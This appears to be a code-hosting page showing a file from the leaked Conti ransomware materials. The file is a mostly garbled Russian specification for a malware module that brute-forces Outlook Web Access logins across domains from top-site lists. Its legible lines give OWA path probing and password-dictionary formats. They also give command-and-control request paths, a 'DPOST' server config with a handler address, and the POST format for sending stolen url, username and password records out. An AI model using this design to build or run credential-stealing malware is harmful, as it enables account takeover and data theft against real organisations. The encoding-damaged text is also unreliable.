Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

290 lines
12 KiB

  1. ������� �� ���������� ������ ������� ������� � OUTLOOK WEB ACCESS (OWA)
  2. ���� ������ - �������������� ������ ������� � OWA
  3. * ������� (��������) ��������, ��� ���� ���������� ���� �� ����� �������������.
  4. ������� ������
  5. ������ �������� � ������� ��������� ���������� � ���� ��������:
  6. - ������ �����:������ ��� �������
  7. - ������ ��������
  8. - ������ �������� DPOST
  9. ������ ������� �� ���� ������:
  10. - �������
  11. - ������
  12. ������� ���������� url ��� ��������.
  13. ������ �� ���������.
  14. ������� ������ ��������: ��������� ����� ������� �� ���-50000 ������ ��������� ������.
  15. ������ �������� ������ ��� ������ ���� ������ - � ������ ������� ��������. ����� ����� ������������.
  16. s3.amazonaws.com/alexa-static/top-1m.csv.zip
  17. ��������, https://www.quantcast.com/top-sites/US/3
  18. (��������) �������� �������: ������ �� ������ ��������� ������ ������, ����������� � �������.
  19. �����, ������:
  20. 1. ����� ��������� ���� � ������ ��������
  21. 2. ��������� ������� ���� /owa
  22. 3. ��������� ������� ���� mail.domain.com/owa
  23. 4. ��������� ������� ���� webmail.domain.com/owa
  24. 5. ���� owa �� ������ �� �� ������ ����, goto 1
  25. 7. ����� ��������� ���� �����:������ �� �������
  26. 8. ���������� HTTP-������ ��� ������ � owa.
  27. 9. ��� ������� ������, goto 7
  28. 10. ��� ������, ��������� ��������� ���������� � ������ ��������� �������, � ���� url|�����|������
  29. ����������
  30. 0. �������� ������� - owa.
  31. ��� ����������, ������� ������� ��������� (�������� ��������� ����������� ��������):
  32. 1. ����-���� ������ ������������� � ��������� �������.
  33. ����� ���������� ����� ��������������� �� �������������.
  34. ����� ���������� ��������� �������:
  35. * ������� �������� � ���� �����, ��� ��������� url ���������� � ������� (���������� ��������).
  36. ������ ������������ (����� ����������) ����� ��������� url ��� ������������ �� ������� (��� �������� ���� �������).
  37. ������ ����� ������������ �������� �� � �������� ��������� ������ �� ������.
  38. ��� ������� ������ ������� ��������� ����, � ������� �������� � ����� �������.
  39. �� ����, ���� ������������ ���������� �� � ������, ����� �� ������ ��� �������� �� ���� � ��� �� ����.
  40. ���� ��� ����� ��� ������ ������, �� ��������� �� �������.
  41. - ����� ������� �������� ���������� ���������� � ���������� �� �������
  42. - ������ ������������ ����� ������� connect() ��� �������� TCP-����������. ����� ����������, ���������� ������� �������
  43. �������� �� ��� ���, ���� ������ ��� �� �������. � ���� ������, ���������� ������� �����������.
  44. ���� ������� ������������ ���������� �� ������� ������ ������, ������������ ������� ����������� � ������ ������ �� �������
  45. (��������� �������� �� ����� ����������).
  46. 2. ����� ������������� �������� � �������� ����� ���������� ������� (����� ��������� ���������� � ��������� �� �������)
  47. 3. ����� ������������� ��������� User-Agent. �� ������ ����������������� ��� ��������� ����������,
  48. � ��� ��������� ������.
  49. 4. ����� �������������, ��� ���� ����� ����������� �� ����. � �������, ���������� ��������, ���� �� ������� ����,
  50. �������� �� ����������� GET / HTTP/1.1
  51. 5. ������ ���������� ������ ��������� ������� ��� � � ����� (�������� ���������� ���������� � ���������� �� �������),
  52. ��� ������� ��� � ���������� �������� ���� ������� ����� ������.
  53. ������ �������� � �������� ������� � ��������� "�� ���� ������� DPOST.txt"
  54. 6. (��������) ���� ���� �� ��� �����������, ������� ������ �������� �� �������.
  55. URL �������� ��� ���������� ������� �� ������� "������ ��������".
  56. 7. ������ ����������� � ������������ � ��������� ���������� ������� (��. modules_HOWTO.txt)
  57. 8. ������ ���������� ��������� ������� � ����� owa:
  58. - "Version build %DATE% %TIME%" (���� ��� ��� ������)
  59. - "OWA passwords sent to DPOST server" ��� �������� �������� ��������� �������
  60. - "OWA passwords send failure: servers unavailable" ��� ���������� ��������� �������� DPOST
  61. - "No OWA passwords in range; trying dictionaries", ���� ��������� ��������� �� ����� ������, ������ �� �������, � ������ ��������� �� ��������
  62. - "No OWA passwords; give up", ���� ��������� ��������� �� ��������, � ������ �� �������.
  63. � ����� ������, ������ ������ ������ ������� WantRelease (�� "module_HOWTO") ��� �������� �� ������
  64. 9. � ������ ������ ����� ����������� ������������ C++ STL (std::string, ����������).
  65. ��������� ������������ std::mutex � ��������� ������������� - ��� ����� ����� ������������ ������
  66. ��������� ������������� WinAPI (CRITICAL_SECTION ���).
  67. 10. ������ ������������� ����������� Andrivet (���������, ��.������ _STR())
  68. 11. ��������� ������ ������������� ����������� GetApi.h. ���� ������������, ���������� ���������� ����� ������ �������.
  69. 12. ������ ������ ����� ��� ������ - x32- � x64-���������.
  70. 13. � ������ ������ ������ ���� ������������� �� ��������� ������, �������� ��������� ���������� �����.
  71. 14. ������ ������ ����� ���������� ������. ���������� ����� ������ ���������� � c:/temp/owa.log (���� � ���� ������������� � �������).
  72. 15. � ������� ������ ���� ���� �������� config.h (�������� �������, ����� ���� - ����� ��� ���������� ��������� - ����, �������-������������� �������� ���������� ���).
  73. 16. ������ ������ �������� �� ���� ����������� ������� Windows.
  74. ����������� �������������� ������ Windows - Windows XP (���� ���������� - Windows Vista).
  75. 17. ������ ������ ���� �������� ��� ������ � Microsoft Visual Studio �� ���� 2015.
  76. 18. ������ Visual Studio ������ ���� �������� ��������� �������:
  77. * ��� ���� �������� ������:
  78. - �������� �������: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
  79. - ������������� �������: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
  80. - ����������������� ����������: ��
  81. * ������� Release:
  82. - ������ ���������� ���������� (�/�++ �������� ����): ���
  83. - ��������� ���������� ���������� (�����������/�������): ���
  84. �������
  85. ��� ������� - ��� �������� Ctl ������� Control, ���������� ������� - ��� �������� CtlArg (��. modules_HOWTO.txt)
  86. ���� ����� � �������� �����������������; ���� � ��������� �������� ������ ���� � ������ ��������.
  87. ������� ������ ���� � ����� ����������� ��������� (��������������� ASCII).
  88. XML-����������� ���������.
  89. * settings
  90. ������ ������������ �� ���� ������� xml � ��������� �������:
  91. <owa>
  92. <delay>�������� ����� ���������� �������, � �������������</delay>
  93. <threads>����� ������� �������</threads>
  94. <nurl>����� url, ����������� ����� ������� (����������)</nurl>
  95. <ua>user agent</ua>
  96. (��������)<dict1>URL ��������������� ������� 1</dict1>
  97. (��������)<dict2>URL ��������������� ������� 2</dict2>
  98. (��������)<dict3>URL ��������������� ������� 3</dict3>
  99. ...
  100. <dictN>URL ��������������� ������� N</dictN>
  101. </owa>
  102. ��� ��������� �� ����� ������� ������������. ���� �������� �� ������, ������������ ��������� ������� ����������.
  103. * dpost
  104. ������ ������������ �� ���� ������� xml � ��������� �������:
  105. <dpost>
  106. <handler>http://11.22.33.44:8082</handler>
  107. <handler>127.0.0.1:8083</handler>
  108. </dpost>
  109. ������� http/https � ����������� ����������. ���� �� ������, ������� �������� �� ���������� ���������.
  110. ���� �� �� ������:
  111. - ���� �������� ����� ������, �� ������ ���� ��� ���������� (HTTP), ���� ���� ��������, �� ������ ���� ������ SSL/TLS (HTTPS).
  112. ������ �������� ������ ��������, �� ������� ������� ���������� ���������� �� ��������� DPOST.
  113. ������ ��������: ������� �����; ����������� ����� - \r\n, ����������� ����� - ������ '|' (������������ �����).
  114. ������ ������:
  115. url|user|password\r\n
  116. * pw
  117. ������ ��� "��� ������������" "������".
  118. ����� � �������� gzip.
  119. ������ ������ username|password\r\n
  120. (��������) * sites
  121. ������ ������������ �� ���� ������� ��������� ������, ����������� ����� - ������� \r\n
  122. ������ ������ - ���� �������� ���. ����� ��� ��������� ������� ��������� http(s)://, ��� � �� ���������.
  123. � ���� ������, ��� ����-����� ������� ��������� ��� ��������.
  124. (��������) * dict
  125. ������ ������������ �� ���� ������� ��������� ������, ����������� ����� - ������� \r\n
  126. ������ ������ - ���� �����|������. ����������� ����� - ������ '|' (������������ �����).
  127. (��������) * ignore
  128. ������ ������������ �� ���� ������� ��������� ������, ����������� ����� - ������� \r\n
  129. ������ ������ - URL.
  130. ���� ����� �������� ������ ���-������ ����� gmail.
  131. ������ �� ����� ������ ������� ������������ ��� ��������. ������� � ���� ����� �������� ������������ ������,
  132. � �� �������� ����� �������� ������������� email-������.
  133. ������ ������
  134. �������� ��������� ������ ������:
  135. - ����� ����� ��������
  136. - ������ � ��������� ��������
  137. ����� ��������
  138. � ���� ������ ������ �� ���� ����� ������, � ��������� ��������� ���� �� ������������.
  139. ��������������, � ���� ������:
  140. - ������ �������� �� �� ������ Alexa, � ����� �� ���� ��������� email �� ������� email:password
  141. - �������� ������ URL OWA ����������� (��������� url'� ���� webmail.domain.com/owa)
  142. - �� ������ ������ (������, �� ���������� URL OWA ����� ������) �� ��������� ���� ���������� ���� email:password
  143. - ����������� ��������� mode=check|brute, ��� check - ����� ��������, brute - ����� ������ � ��������� (������ ������ ������).
  144. �� ������ �������� � �������� ��.������.
  145. ��������� ������ � �������
  146. ����� �� �������� ��� �������� ������ � ���� �������� �� ������� �����.
  147. ��� �������� �������� �� ������ �������� - ����������� ������� �� ������� ��������,
  148. ����������� �� ���������� ��������� ����������, ���������� ������ ������� ����,
  149. ���������� ������������������� ��������� ��� �����������.
  150. ������ ����� ����� �������������� ��������� ������, � �������� �� ������ ��������� � ������� ������,
  151. � �������� ������ ������.
  152. � ����� � ����, ������������ ��� ������� �� ������ ������.
  153. ���������� ����� ������ srv, ���������� ������ ������� ������������ �������,
  154. ����������� \r\n ��� \n, � ������� �����:����.
  155. ���� ���� ������, ������ ���� �� HTTP, ���� �������� - HTTPS.
  156. ���� ������ ������� ��������� (http/https), ������� ����� ��������� ��� ��������� ������.
  157. ������ �������� � ��� ����������� ��������, �� �������� ������� ����������� ������, �� ������� �������.
  158. �������� ����� ������ ����� HTTP-�������� �� ������
  159. GET /<group>/<clientid>/owa/mode HTTP/1.1
  160. �������� group � clientid - ��� ���� struct ParentInfo
  161. CHAR ParentID[256];
  162. CHAR ParentGroup[64];
  163. (��. module_HOWTO)
  164. � ���� HTTP-������ ������ ������� ������ brute ��� check.
  165. ����� ������ �������� ����������� - � ����� ������ ������ ������ ��������� �������
  166. ������ 5 �����; �� ��������� ����������� ������ ������ ������ �� ����������.
  167. ������ �������� ������ ������� ��� �������� HTTP-�������� �� ������
  168. ����� ������� ������������:
  169. GET /<group>/<clientid>/owa/th HTTP/1.1
  170. � ����� - ��������������� �����.
  171. ���� atoi(�����) == 0, �� ����� ������� �� ��������� = std::thread_concurrency() - 1.
  172. GET /<group>/<clientid>/owa/domains HTTP/1.1
  173. ������ ������:
  174. �����1[\r]\n
  175. �����2[\r]\n
  176. ...
  177. (���� ��� ��������� �������)
  178. ��� ���������� �������� �� ��������� ������ �� ���� ����� �� ���� �������:
  179. GET /<group>/<clientid>/owa/over HTTP/1.1
  180. ����� ������� - ����� ��, ��� �� ������ /domains - ����� ������ ������� ��� ������.
  181. ��� ����������� ������ (������ ������, ��� ������ ���) ������ ��������� �� �������� ��� (������������ �����������)
  182. � ������ ��� �� ����� ������ ��� � 10 ����� (����� - � ���������).
  183. ������� ��� �������� �������� HTTP-�������� � ������������ �������:
  184. GET /<group>/<clientid>/owa/dict HTTP/1.1
  185. � ����� ��� �������� ������� ���� ��� text/plain, ���� application/gzip (������� �� ��������� ������ Content-Type)
  186. ���� �������� � gzip, �� ����� ���������� �� ������� ����� �� ������ �������, ��� ��� �������� ������.
  187. ������:
  188. email:password[\r]\n
  189. �������� �������� �� ��������� DPOST (��. "�� ���� ������� DPOST" ��� �������� ���������) ��������
  190. POST /<group>/<clientid>/owa/81 HTTP/1.1
  191. ��������� ������ ������������ � ���������� multipart/form-data � ������ source � data.
  192. �������� ���� source - "OWA Passwords"
  193. �������� ���� data: ������� �����, ����������� ����� \r\n
  194. ������ ������:
  195. owa|url|<username>|<password>\r\n
  196. ...
  197. (���� ��� ��������� �������)
  198. ������� �������� ����������� ������ ����� �������� � ������������ ������� HTTP-��������
  199. GET /<group>/<clientid>/owa/freq HTTP/1.1
  200. � ���� ������ �� ������� ����� - ��� ����� ������, �� ���� �������� ������� ���������� ������.
  201. ���� ��� 0 - �������� ����� �� ���������� ������ ����������.
  202. ���� ��� ������������� ����� - �� ����������� ������ � ������ � ���������� ��� � X ������,
  203. ������ ����� ��� �������� ��������.
  204. ��� ���������� �������� �� ��������� ������ �� ���� ����� �� ���� �������:
  205. GET /<group>/<clientid>/owa/over HTTP/1.1
  206. ����� ������� - ����� ��, ��� �� ������ /domains - ����� ������ ������� ��� ������.
  207. ��� ����������� ������ (������ ������, ��� ������ ���) ������ ��������� �� �������� ��� (������������ �����������)
  208. � ������ ��� �� ����� ������ ��� � 10 ����� (����� - � ���������).